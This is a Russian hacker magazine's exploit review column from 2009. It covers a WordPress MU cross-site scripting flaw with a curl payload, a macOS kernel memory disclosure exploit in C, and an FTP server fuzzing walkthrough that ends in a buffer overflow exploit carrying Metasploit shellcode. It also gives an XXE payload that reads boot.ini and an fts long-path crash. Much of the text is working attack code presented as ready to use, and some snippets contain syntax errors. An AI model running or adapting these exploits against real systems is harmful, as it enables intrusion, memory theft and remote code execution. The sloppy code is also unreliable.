| Издательский дом ООО "Гейм Лэнд" | ЖУРНАЛ ХАКЕР #124, АПРЕЛЬ 2009 г. |

Обзор эксплоитов
Андрей «skvoz» Комаров (komarov@itdefence.ru)
Межсайтовый скриптинг в Wordpress MU
BRIEF
Wordpress MU - версия известного блогосферного продукта, предназначенного для организации бесчисленного числа блогов на одном движке (а также – на одном сервере). Уязвимость была найдена в функции choose_primary_blog (в составе wp-includes/wpmu-functions.php). Рассмотрим код сего творения.
1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841 ?>
1842 <select name="primary_blog">
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST'];
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }
Пристально взглянув на 1849 строку, понимаем, что в наш запрос к серверу можно внедрить что-нибудь вредоносное – например, сторонний HTML/JS-код. Воссоздать такую ситуацию реально с помощью HTTP-анализаторов с возможностью обратного инжекта пакета, либо же WEB-проксей для проверки на безопасность приложений (WebScarab, Burpsuite).
$ curl -H "Cookie: " -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html
TARGETS
SOLUTION
Производитель уже уведомлен о наличии бреши, но реакции пока не наблюдается (читай одноименную статью в нашей рубрике и поймешь, что WordPress славится далеко не единой брешью, – Прим. Forb).
Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure
BRIEF
Множественные целочисленные переполнения в функциях Apple MacOS позволяют с помощью специального системного вызова i386_set_ldt или i386_get_ldt повысить привилегии локальных пользователей. Нетрудно сделать вывод, что уязвимость может быть эксплуатированной исключительно на Intel-based машинах. Не вдаваясь в подробности, скажу, что подобного рода уязвимость была обнаружена аж в 2005 году во FreeBSD (и нечему тут удивляться, ведь Unix-архитектура обеих систем консервативна). Такой же баг был найден и сравнительно недавно, но уже в MacOS.
Напомню, что существует три вида таблиц дескрипторов: глобальная таблица (одна в системе - GDT), локальная таблица (может быть своя для каждой задачи), а также таблица дескрипторов прерываний. Локальная таблица (LDT) содержит только дескрипторы сегментов, шлюзов задачи и вызовов. Сегмент недоступен задаче, если его дескриптора нет ни в LDT, ни в GDT (потому что локальная дескрипторная таблица описывается дескриптором глобальной таблицы). Основа виртуальной памяти системы Pentium состоит из двух таблиц: LDT и GDT.
Функция i386_get_ldt возвращает список дескрипторов, задействованных в LDT (Local Descriptor Table) в текущий момент. Базовый синтаксис вызова описывается следующей функцией:
#include <machine/segments.h>
#include <machine/sysarch.h>
int i386_get_ldt (int start_sel union descriptor *descs int num_sels);
Сообщив параметр экстремально большого размера, можно допустить копирование памяти ядра в пользовательское окружение.
EXPLOIT
Ключевые фрагменты привожу ниже:
#define TMP_FILE "/tmp/xnu-get_ldt"
#define READ_SIZE 0x2000000
int
main (int argc, char **argv)
{
int fd, n, num_desc;
void *ptr;
n = i386_get_ldt (0, ((int)NULL) + 1, 0);
if (n < 0)
{
fprintf (stderr, "failed i386_get_ldt(): %d\n", n);
return (EXIT_FAILURE);
}
num_desc = n;
printf ("i386_get_ldt: num_desc: %d\n", num_desc);
fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
if (fd < 0)
{
fprintf (stderr, "failed open(): %d\n", fd);
return (EXIT_FAILURE);
}
# mmap проецирует файлы или память устройств в память
ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if ((int) ptr == -1)
{
fprintf (stderr, "failed mmap()\n");
return (EXIT_FAILURE);
}
# задание значения участку памяти, в данном случае – зануление READ_SIZE байт по адресу в ptr
memset (ptr, 0x00, READ_SIZE);
i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1));
# дампим участок памяти в файл
n = write (fd, ptr, READ_SIZE);
munmap (ptr, READ_SIZE);
close (fd);
printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE);
return (EXIT_SUCCESS);
}
TARGETS
SOLUTION
Сейчас как раз идет активное обсуждение решения.
Full Disclosure
Многочисленные уязвимости в FTP-серверах.
BRIEF
Одна из самых распространенных проблем безопасности будет отражена в этой заметке, а именно – fuzzing FTP-серверов. Сам процесс фаззинга не раз уже описывался на страницах журнала: по сути, это умышленное общение с сервисом с помощью аномальных запросов. Вспомним, что на самом деле FTP-протокол очень емок и насчитывает более ста команд. Соответственно, разработчики должны учесть их все в своих приложениях (а это очень трудоемкая задача) – устанавливать ограничение на вводимую длину создаваемой папки, контролируемую глубину пути и так далее. Для автоматизации процесса багоискатели пишут либо собственные скрипты, либо полноценные приложения, вроде Infigo FTP Fuzz (infigo.hr/files/ftpfuzz.zip). Как правило, подобного рода уязвимости эксплуатируется после авторизации. Для этого можно заюзать anonymous-доступ, из-под которого и осуществлять проверки. Сюжет прост - фаззером сообщаются различные данные, а параллельно мы осуществляем мониторинг поведения приложения (OllyDbg). Порой приложение не дает себя дебажить и конфликтует с «Olly». Чтобы решить проблему, попробуй использовать альтернативный отладчик. FaultMon (research.eeye.com/html/tools/RT20060801-4.html) - утилита для выявления экспешнов в приложении и их корректной работы.
Для аттача процесса в OllyDbg можно воспользоваться соответствующей вкладкой или использовать флаг -P (с указанием PID процесса). Аналогичный флаг присутствует и в FaultMon. Рассмотрим процесс анализа Golden FTPd. Аттачим процесс к дебаггеру и начинаем фаззинг по всем параметрам. Так как сервис привязан к запуску «внутри» Olly, для более качественной отладки после креша предстоит играться с Debug > Restart. Из-за переполнения входных данных по команде USER мы выявили переполнение буфера, и значение EIP перезаписалось на 41414141.
Путем замеров выясняем, что переполнили буфер 3000 байтами. Далее требуется передать управление на шелл-код путем изменения адреса возврата. Кликаем правой кнопкой мыши в окне OllyDbg: Overflow Return Address -> ASCII Overflow returns -> Search JMP/Call ESP. Когда эта процедура завершена, палим View -> Log, чтобы отследить расположение «jmp esp», «call esp» в процессе и связанных DLL.
Теперь View -> Executable Modules – и по базе OpCodeDB в Metasploit определяем адрес возврата: 0x750362c3 - ws2_32.dll (opcode - pop,pop.ret). Обнаружили, что данный адрес содержит pop,pop.ret. Так как они нужны нам, прибавляем единицу к адресу возврата, чтобы пропустить одну из команд pop (0x750362c4).
Мы можем воспользоваться готовым шелл-кодом win32_exec из пакета Metasploit (payloads):
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"
# (3000 bytes)
sc = 'A' * 3000
# calc.exe Shellcode(172 bytes)
sc += "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
sc += "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
sc += "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
sc += "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
sc += "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
sc += "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
sc += "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
sc += "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
sc += "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
sc += "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"
# Windows 2000 SP0,1,2,3,4 (pop,pop,ret+1)= (pop,ret)
# Thanks Metasploit!
return_address='\xC5\x2A\x02\x75'
buffer = '\xEB\x30' + ' /' + sc + return_address + '\r\n\r\n'
print buffer
Эксплойт готов! После его запуска и отправки соответствующего содержимого мы получим удаленное исполнение calc.exe на целевой машине.
Устройство самого фаззера можно понять на простом примере. Воспользуемся вспомогательным средством antiparser (antiparser.sourceforge.net) – это API, которое написано на Python и позволяет создать специальные блоки данных для применения в фаззерах. Что же представляют собой эти блоки?
- apChar() - восьмибитный символ
- apCString() - строка (как в языке С), состоящая из знаков и заканчивающаяся нулевым символом
- apKeywords() - список параметров, отделенных друг от друга специальным символом или другим блоком данных
- apLong() - 32-битное целое
- apShort() - 16-битное целое
- apString() - произвольная строка (aka «free form string»)
Наиболее интересен тип apKeywords(). Последовательность, задаваемая им выглядит так: [ключевое слово (например, команда FTP)][разделитель][блок данных (параметры к команде)][символ конца блока]. Применительно к FTP можно сделать такой набросок:
# импортируем все функции из модуля
From antiparser import *
# задаем список команд в качестве ключевых слов типа список
CMDLIST = ['ABOR', 'ALLO', 'APPE', 'CDUP', XCUP', 'CWD', 'XCWD', 'DELE', 'HELP', 'LIST', 'MKD', 'XMKD', 'MACB', 'MODE', 'MTMD', 'NLST', 'NOOP', 'PASS', 'PASV', 'PORT', 'PWD', 'XPWD', 'QUIT', 'REIN', 'RETR', 'RMD', 'XRMD', 'REST', 'RNFR', 'RNTO', 'SITE', 'SIZE', 'STAT', 'STOR', 'STRU', 'STOU', 'SYST', 'TYPE', 'USER']
# задаем символ разделителя и завершающего знака
SEPARATOR = " "
TERMINATOR = "\r\n"
For cmd in CMDLIST:
# инициализируем API
Ap = antiparser()
# настраиваем на режим со своими ключевыми словами
cmdkw = apKeywords()
# задаем слова, разделитель и завершающий символ
cmdkw.setKeywords([cmd])
cmdkw.setSeparator(SEPARATOR)
cmdkw.setTerminator(TERMINATOR)
# чем будем фаззить, в качестве параметров к командам
cmdkw.setContent(r"%n%n%n%n%n%n%n%n%n%n%n%")
# делаем так, чтобы генерируемые блоки данных варьировались по размеру с нарастанием до 65536 байт
cmdkw.setMode('incremental')
cmdkw.setMaxSize(65536)
ap.append(cmdkw)
# шлем всю картину на указанный хост и порт с помощью сокетов
sock = apSocket()
sock.connect(HOST, PORT)
print sock.recv(1024)
sock.sendTCP(ap.getPayload())
print sock.recv(1024)
sock.close
Отмечены все доступные методы для «общения». Тестирование выявило затруднения при обработке CWD/CDUP. «Access violation» представляет ситуацию, когда приложение пытается прочитать участок памяти, которого не существует (характерная ошибка – «Read of»). Вторая ошибка связана с записью в участок памяти («Write to») , который был недоступен, либо приложение не имело привилегий для записи. Для отслеживания такого рода ошибок, требуется выставить флажки в OllyDbg (Options -> Debugging -> Options -> Exceptions) «Memory Access Violation», «Single Step Break».
TARGETS
Выявленные таким способом уязвимости:
Передача аномального параметра в команде LIST (LIST *<строка>). Позволяет перезаписать arbitary-память (http://milw0rm.com/exploits/7875).
- GuildFTPd FTP Server Version 0.x.x
Обход ограничения безопасности по команде DELETE (http://milw0rm.com/exploits/8200).
Может быть осуществлено с применением техник directory traversal ( \..).
Переполнение кучи (http://milw0rm.com/exploits/7913).
Неавторизированное создание произвольных директорий (http://milw0rm.com/exploits/8211).
Вдобавок, следует понимать, что неразумное использование экстремально больших параметров иногда приводит к отказу в обслуживании сервиса. Этот продукт, к сожалению, не исключение. При сообщении большого числа (свыше 2000) команд SMNT после авторизации – происходит аварийное завершение работы сервиса.
NextApp Echo XML Injection
BRIEF
Одна из неочевидных и интересных атак. Пример сценария: от клиента отправляются XML-данные, поступают на сторону приложения, где обрабатываются XML-парсером.
Типичный запрос:
<client-message xmlns="http://www.nextapp.com/products/echo2/climsg" trans-id="3" focus="c_25">
<message-part xmlns="" processor="EchoPropertyUpdate">
<property component-id="c_25" name="text">aa</property>
<property component-id="c_25" name="horizontalScroll" value="0"/>
<property component-id="c_25" name="verticalScroll" value="0"/>
</message-part><message-part xmlns="" processor="EchoAction">
<action component-id="c_25" name="action"/></message-part>
</client-message>
Вредоносный запрос:
<?xml version="1.0"?><!DOCTYPE sec [<!ELEMENT sec ANY><!ENTITY mytestentity SYSTEM "file:///c:\boot.ini">]>
Интересность в том, что языковыми средствами языка XML злоумышленник может продекларировать новый объект. Тот, в свою очередь, объявит объект, содержащий boot.ini, на который можно будет сослаться в XML-запросе.
EXPLOIT
Код запроса представлен выше, инжект такого XML-request'a может быть выполнен с помощью средств JS/HTTP-POST.
TARGETS
BRIEF
Здесь мы видим некорректную обработку исключительных ситуаций при длинном пути. Набор функций fts занимается отображением иерархии файловой системы UNIX – ftp_open() возвращает хэндл на файловую иерархию, и он может быть «скормлен» одной из следующих функций:
- fts_read - возвращает указатель на структуру, описывающую один из элементов файловой иерархии;
- fts_children() возвращает указатель на список структур, каждая из которых описывает один из файлов внутри дочерней директории.
Обратимся к структуре, описывающей иерархию:
typedef struct _ftsent {
unsigned short fts_info; /* флаги на FTSENT-структуру*/
char *fts_accpath; /* путь доступа */
char *fts_path; /* текущий каталог */
size_t fts_pathlen; /* strlen(fts_path) */
char *fts_name; /* имя файла */
size_t fts_namelen; /* strlen(fts_name) */
short fts_level; /* глубина иерархии (-1 до N) */
int fts_errno; /* исключения */
long fts_number; /* нумерованное значение */
void *fts_pointer; /* локальный адрес в памяти */
struct _ftsent *fts_parent; /* родительская директория */
struct _ftsent *fts_link; /* следующая файловая структура */
struct _ftsent *fts_cycle; /* структура иерархии по циклу */
struct stat *fts_statp; /* статистика по файлам иерархии */
} FTSENT;
Заметим, что fts_level имеет тип short. Это наводит на определенные мысли. При изучении кода взгляд натыкается на комментарий разработчиков:
- ---line-616-625---
/*
* Figure out the max file name length that can be stored in the
* current path -- the inner loop allocates more path as necessary.
* We really wouldn't have to do the maxlen calculations here, we
* could do them in fts_read before returning the path, but it's a
* lot easier here since the length is part of the dirent structure.
*
* If not changing directories set a pointer so that can just append
* each new name into the path.
*/
- ---line-616-625---
«По правде говоря, мы не будем здесь делать какие-либо вычисления с огромными именами... и здесь должен быть уровень ограничений или «pathlen»-монитор». Конечно, должен, но где же он? Безусловно, недоработка, а точнее недоделка.
#define NAPPEND(p) \
(p->fts_path[p->fts_pathlen - 1] == '/' \
? p->fts_pathlen - 1 : p->fts_pathlen)
Естественно, эта функция пойдет в креш, если мы обратимся к неправильному участку памяти с помощью аномальных параметров.
127# pwd
/home/cxib
# количество родительских каталогов очень велико
127# du /home/
4 /home/cxib/.ssh
Segmentation fault (core dumped)
127# rm -rf Samotnosc
Segmentation fault (core dumped)
127# chmod -R 000 Samotnosc
Segmentation fault (core dumped)
TARGETS
- OpenBSD 4.4 (/usr/src/lib/libc/gen/fts.c)
- Microsoft Interix 6.0 10.0.6030.0 x86
- Microsft Vista Enterprise (SearchIndexer.exe)
Содержание
|